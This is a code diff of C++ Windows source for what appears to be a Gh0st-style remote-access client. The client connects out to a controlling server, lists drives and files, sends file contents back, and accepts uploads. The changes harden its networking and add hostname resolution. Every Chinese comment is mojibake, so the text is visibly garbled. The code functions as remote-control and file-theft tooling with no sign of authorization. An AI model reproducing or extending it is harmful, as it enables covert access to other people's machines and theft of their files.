CCursorInfor::~CCursorInfor()
|
|
||||||
{
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
int CCursorInfor::GetCurrentCursorIndex()
|
|
||||||
{
|
|
||||||
CURSORINFO ci;
|
|
||||||
ci.cbSize = sizeof(CURSORINFO);
|
|
||||||
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
|
|
||||||
{
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
int iIndex = 0;
|
|
||||||
for (iIndex = 0; iIndex < MAX_CURSOR_TYPE; iIndex++)
|
|
||||||
{
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
DestroyCursor(ci.hCursor);
|
|
||||||
|
|
||||||
return iIndex == MAX_CURSOR_TYPE ? -1 : iIndex;
|
|
||||||
}
|
|
||||||
@@ -1,22 +0,0 @@
|
|||||||
// CursorInfor.h: interface for the CCursorInfor class.
|
|
||||||
//
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
|
||||||
|
|
||||||
#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
|
|
||||||
#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
|
|
||||||
|
|
||||||
#if _MSC_VER > 1000
|
|
||||||
#pragma once
|
|
||||||
#endif // _MSC_VER > 1000
|
|
||||||
|
|
||||||
#define MAX_CURSOR_TYPE 16
|
|
||||||
class CCursorInfor
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
CCursorInfor();
|
|
||||||
virtual ~CCursorInfor();
|
|
||||||
|
|
||||||
int GetCurrentCursorIndex();
|
|
||||||
};
|
|
||||||
|
|
||||||
#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
|
|
||||||
@@ -1,3 +1,4 @@
|
|||||||
EXPORTS
|
EXPORTS
|
||||||
TestRun
|
TestRun
|
||||||
StopRun
|
StopRun
|
||||||
|
Run
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ CFileManager::~CFileManager()
|
|||||||
m_UploadList.clear();
|
m_UploadList.clear();
|
||||||
}
|
}
|
||||||
|
|
||||||
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
||||||
{
|
{
|
||||||
switch (lpBuffer[0])
|
switch (lpBuffer[0])
|
||||||
{
|
{
|
||||||
@@ -251,8 +251,8 @@ UINT CFileManager::SendDriveList()
|
|||||||
|
|
||||||
unsigned __int64 HDAmount = 0;
|
unsigned __int64 HDAmount = 0;
|
||||||
unsigned __int64 HDFreeSpace = 0;
|
unsigned __int64 HDFreeSpace = 0;
|
||||||
unsigned long AmntMB = 0; // <20>ܴ<EFBFBD>С
|
unsigned __int64 AmntMB = 0; // <20>ܴ<EFBFBD>С
|
||||||
unsigned long FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
|
unsigned __int64 FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
|
||||||
|
|
||||||
DWORD dwOffset = 1;
|
DWORD dwOffset = 1;
|
||||||
for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
|
for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
|
||||||
@@ -260,7 +260,7 @@ UINT CFileManager::SendDriveList()
|
|||||||
memset(FileSystem, 0, sizeof(FileSystem));
|
memset(FileSystem, 0, sizeof(FileSystem));
|
||||||
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
|
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
|
||||||
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
|
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
|
||||||
SHFILEINFO sfi;
|
SHFILEINFO sfi = {};
|
||||||
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
||||||
|
|
||||||
int nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
|
int nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
|
||||||
@@ -312,6 +312,10 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
|
|||||||
WIN32_FIND_DATA FindFileData;
|
WIN32_FIND_DATA FindFileData;
|
||||||
|
|
||||||
lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
|
lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
|
||||||
|
if (lpList==NULL)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
wsprintf(strPath, "%s\\*.*", lpszDirectory);
|
wsprintf(strPath, "%s\\*.*", lpszDirectory);
|
||||||
hFile = FindFirstFile(strPath, &FindFileData);
|
hFile = FindFirstFile(strPath, &FindFileData);
|
||||||
@@ -338,6 +342,8 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
|
|||||||
{
|
{
|
||||||
nBufferSize += MAX_PATH * 2;
|
nBufferSize += MAX_PATH * 2;
|
||||||
lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||||
|
if (lpList == NULL)
|
||||||
|
continue;
|
||||||
}
|
}
|
||||||
pszFileName = FindFileData.cFileName;
|
pszFileName = FindFileData.cFileName;
|
||||||
if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
|
if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
|
||||||
@@ -427,6 +433,10 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
|
|||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
int nPacketSize = lstrlen(lpszFileName) + 10;
|
int nPacketSize = lstrlen(lpszFileName) + 10;
|
||||||
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
|
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
|
||||||
|
if (bPacket==NULL)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
memset(bPacket, 0, nPacketSize);
|
memset(bPacket, 0, nPacketSize);
|
||||||
|
|
||||||
bPacket[0] = TOKEN_FILE_SIZE;
|
bPacket[0] = TOKEN_FILE_SIZE;
|
||||||
@@ -442,7 +452,7 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
|
|||||||
|
|
||||||
UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
||||||
{
|
{
|
||||||
UINT nRet;
|
UINT nRet = 0;
|
||||||
FILESIZE *pFileSize;
|
FILESIZE *pFileSize;
|
||||||
char *lpFileName;
|
char *lpFileName;
|
||||||
|
|
||||||
@@ -467,6 +477,8 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
|||||||
DWORD nNumberOfBytesRead = 0;
|
DWORD nNumberOfBytesRead = 0;
|
||||||
|
|
||||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
|
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
|
||||||
|
if (lpPacket == NULL)
|
||||||
|
return -1;
|
||||||
// Token, <20><>С<EFBFBD><D0A1>ƫ<EFBFBD>ƣ<EFBFBD><C6A3>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// Token, <20><>С<EFBFBD><D0A1>ƫ<EFBFBD>ƣ<EFBFBD><C6A3>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
lpPacket[0] = TOKEN_FILE_DATA;
|
lpPacket[0] = TOKEN_FILE_DATA;
|
||||||
memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
|
memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
|
||||||
@@ -514,7 +526,6 @@ int CFileManager::SendToken(BYTE bToken)
|
|||||||
|
|
||||||
bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
|
bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
|
||||||
{
|
{
|
||||||
|
|
||||||
if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\')
|
if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\')
|
||||||
{
|
{
|
||||||
FixedUploadList((char *)lpBuffer);
|
FixedUploadList((char *)lpBuffer);
|
||||||
@@ -638,7 +649,7 @@ void CFileManager::GetFileData()
|
|||||||
|
|
||||||
// 1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ
|
// 1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ
|
||||||
BYTE bToken[9];
|
BYTE bToken[9];
|
||||||
DWORD dwCreationDisposition; // <20>ļ<EFBFBD><C4BC><EFBFBD>ʽ
|
DWORD dwCreationDisposition = 0; // <20>ļ<EFBFBD><C4BC><EFBFBD>ʽ
|
||||||
memset(bToken, 0, sizeof(bToken));
|
memset(bToken, 0, sizeof(bToken));
|
||||||
bToken[0] = TOKEN_DATA_CONTINUE;
|
bToken[0] = TOKEN_DATA_CONTINUE;
|
||||||
|
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ typedef struct
|
|||||||
class CFileManager : public CManager
|
class CFileManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||||
UINT SendDriveList();
|
UINT SendDriveList();
|
||||||
CFileManager(CClientSocket *pClient, int h = 0);
|
CFileManager(CClientSocket *pClient, int h = 0);
|
||||||
virtual ~CFileManager();
|
virtual ~CFileManager();
|
||||||
|
|||||||
@@ -87,7 +87,21 @@ IOCPClient::~IOCPClient()
|
|||||||
m_bWorkThread = S_END;
|
m_bWorkThread = S_END;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<49><50>ַ
|
||||||
|
inline string GetIPAddress(const char *hostName)
|
||||||
|
{
|
||||||
|
struct hostent *host = gethostbyname(hostName);
|
||||||
|
#ifdef _DEBUG
|
||||||
|
printf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
|
||||||
|
for (int i = 0; host->h_addr_list[i]; ++i)
|
||||||
|
printf("<EFBFBD><EFBFBD>ȡ<EFBFBD>ĵ<EFBFBD>%d<><64>IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i]));
|
||||||
|
#endif
|
||||||
|
if (host == NULL || host->h_addr_list == NULL)
|
||||||
|
return "";
|
||||||
|
return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : "";
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||||
{
|
{
|
||||||
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
@@ -100,7 +114,10 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
|
|||||||
sockaddr_in ServerAddr;
|
sockaddr_in ServerAddr;
|
||||||
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
||||||
ServerAddr.sin_port = htons(uPort);
|
ServerAddr.sin_port = htons(uPort);
|
||||||
ServerAddr.sin_addr.S_un.S_addr = inet_addr(szServerIP);
|
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
||||||
|
string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
|
||||||
|
? szServerIP : GetIPAddress(szServerIP);
|
||||||
|
ServerAddr.sin_addr.S_un.S_addr = inet_addr(server.c_str());
|
||||||
|
|
||||||
if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
|
if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
|
||||||
{
|
{
|
||||||
@@ -138,7 +155,7 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
|
|||||||
DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||||
{
|
{
|
||||||
IOCPClient* This = (IOCPClient*)lParam;
|
IOCPClient* This = (IOCPClient*)lParam;
|
||||||
char szBuffer[MAX_RECV_BUFFER] = {0};
|
char* szBuffer = new char[MAX_RECV_BUFFER];
|
||||||
fd_set fd;
|
fd_set fd;
|
||||||
const struct timeval tm = { 2, 0 };
|
const struct timeval tm = { 2, 0 };
|
||||||
|
|
||||||
@@ -165,9 +182,9 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
|||||||
}
|
}
|
||||||
else if (iRet > 0)
|
else if (iRet > 0)
|
||||||
{
|
{
|
||||||
memset(szBuffer, 0, sizeof(szBuffer));
|
memset(szBuffer, 0, MAX_RECV_BUFFER);
|
||||||
int iReceivedLength = recv(This->m_sClientSocket,
|
int iReceivedLength = recv(This->m_sClientSocket,
|
||||||
szBuffer,sizeof(szBuffer), 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
szBuffer, MAX_RECV_BUFFER, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if (iReceivedLength <= 0)
|
if (iReceivedLength <= 0)
|
||||||
{
|
{
|
||||||
int a = GetLastError();
|
int a = GetLastError();
|
||||||
@@ -177,12 +194,12 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
|||||||
}else{
|
}else{
|
||||||
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
|
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
|
||||||
This->OnServerReceiving(szBuffer, iReceivedLength);
|
This->OnServerReceiving(szBuffer, iReceivedLength);
|
||||||
if (This->m_Manager->m_bIsDead)
|
if (This->m_Manager!=NULL && This->m_Manager->m_bIsDead)
|
||||||
{
|
{
|
||||||
printf("****** Recv bye bye ******\n");
|
printf("****** Recv bye bye ******\n");
|
||||||
// <20>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
// <20><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD>˳<EFBFBD><EFBFBD>ͻ<EFBFBD><EFBFBD>˺<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ضˣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><EFBFBD>ͻ<EFBFBD><EFBFBD><EFBFBD>
|
||||||
extern bool g_bExit;
|
extern BOOL g_bExit;
|
||||||
g_bExit = true;
|
g_bExit = This->m_Manager->m_bIsDead;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -190,6 +207,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
|||||||
}
|
}
|
||||||
This->m_bWorkThread = S_STOP;
|
This->m_bWorkThread = S_STOP;
|
||||||
This->m_bIsRunning = FALSE;
|
This->m_bIsRunning = FALSE;
|
||||||
|
delete[] szBuffer;
|
||||||
|
|
||||||
return 0xDEAD;
|
return 0xDEAD;
|
||||||
}
|
}
|
||||||
@@ -201,14 +219,14 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
|||||||
{
|
{
|
||||||
assert (ulLength > 0);
|
assert (ulLength > 0);
|
||||||
//<2F><><EFBFBD>½ӵ<C2BD><D3B5><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>н<EFBFBD>ѹ<EFBFBD><D1B9>
|
//<2F><><EFBFBD>½ӵ<C2BD><D3B5><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>н<EFBFBD>ѹ<EFBFBD><D1B9>
|
||||||
CBuffer m_CompressedBuffer;
|
|
||||||
m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
|
m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
|
||||||
|
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
|
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
|
||||||
{
|
{
|
||||||
char szPacketFlag[FLAG_LENGTH + 3] = {0};
|
char szPacketFlag[FLAG_LENGTH + 3] = {0};
|
||||||
CopyMemory(szPacketFlag, m_CompressedBuffer.GetBuffer(),FLAG_LENGTH);
|
LPBYTE src = m_CompressedBuffer.GetBuffer();
|
||||||
|
CopyMemory(szPacketFlag, src, FLAG_LENGTH);
|
||||||
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
|
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
||||||
{
|
{
|
||||||
@@ -220,8 +238,8 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
|||||||
sizeof(ULONG));
|
sizeof(ULONG));
|
||||||
|
|
||||||
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
|
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
|
||||||
if (ulPackTotalLength &&
|
ULONG len = m_CompressedBuffer.GetBufferLength();
|
||||||
(m_CompressedBuffer.GetBufferLength()) >= ulPackTotalLength)
|
if (ulPackTotalLength && len >= ulPackTotalLength)
|
||||||
{
|
{
|
||||||
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
|
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
|
||||||
|
|
||||||
@@ -248,27 +266,40 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
|
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
|
||||||
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||||
m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
|
if (m_Manager)
|
||||||
m_DeCompressedBuffer.GetBufferLength());
|
m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
|
||||||
|
m_DeCompressedBuffer.GetBufferLength());
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
printf("[ERROR] uncompress failed \n");
|
printf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
|
||||||
|
delete [] CompressedBuffer;
|
||||||
|
delete [] DeCompressedBuffer;
|
||||||
throw "Bad Buffer";
|
throw "Bad Buffer";
|
||||||
}
|
}
|
||||||
|
|
||||||
delete [] CompressedBuffer;
|
delete [] CompressedBuffer;
|
||||||
delete [] DeCompressedBuffer;
|
delete [] DeCompressedBuffer;
|
||||||
|
#if _DEBUG
|
||||||
|
printf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength);
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
else
|
else {
|
||||||
|
printf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength);
|
||||||
break;
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}catch(...) { }
|
}catch(...) {
|
||||||
|
m_CompressedBuffer.ClearBuffer();
|
||||||
|
printf("[ERROR] OnServerReceiving catch an error \n");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// <20><>server<65><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
|
||||||
|
// <20>ر<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>SendWithSplit<69>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
|
||||||
BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
|
BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
|
||||||
{
|
{
|
||||||
AUTO_TICK(10);
|
AUTO_TICK(50);
|
||||||
assert (ulOriginalLength > 0);
|
assert (ulOriginalLength > 0);
|
||||||
{
|
{
|
||||||
//<2F><><EFBFBD><EFBFBD>1.001<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>õ<EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD> +12
|
//<2F><><EFBFBD><EFBFBD>1.001<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>õ<EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD> +12
|
||||||
@@ -276,6 +307,7 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
|||||||
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9> ѹ<><D1B9><EFBFBD>㷨 <><CEA2><EFBFBD>ṩ
|
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9> ѹ<><D1B9><EFBFBD>㷨 <><CEA2><EFBFBD>ṩ
|
||||||
//nSize = 436
|
//nSize = 436
|
||||||
//destLen = 448
|
//destLen = 448
|
||||||
|
#if USING_COMPRESS
|
||||||
#if USING_ZLIB
|
#if USING_ZLIB
|
||||||
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
|
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
|
||||||
#elif USING_LZ4
|
#elif USING_LZ4
|
||||||
@@ -296,6 +328,10 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
|||||||
ulCompressedLength = iRet;
|
ulCompressedLength = iRet;
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
#else // <20><>ѹ<EFBFBD><D1B9>
|
||||||
|
unsigned long ulCompressedLength = ulOriginalLength;
|
||||||
|
LPBYTE CompressedBuffer = (LPBYTE)szBuffer;
|
||||||
|
#endif
|
||||||
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
|
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
|
||||||
CBuffer m_WriteBuffer;
|
CBuffer m_WriteBuffer;
|
||||||
|
|
||||||
